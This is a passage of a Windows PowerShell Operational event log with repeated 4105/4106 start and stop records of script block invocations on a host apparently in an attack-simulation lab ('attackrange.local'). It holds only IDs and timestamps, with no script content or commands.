SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047777
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047771
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047749
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047747
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047746
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
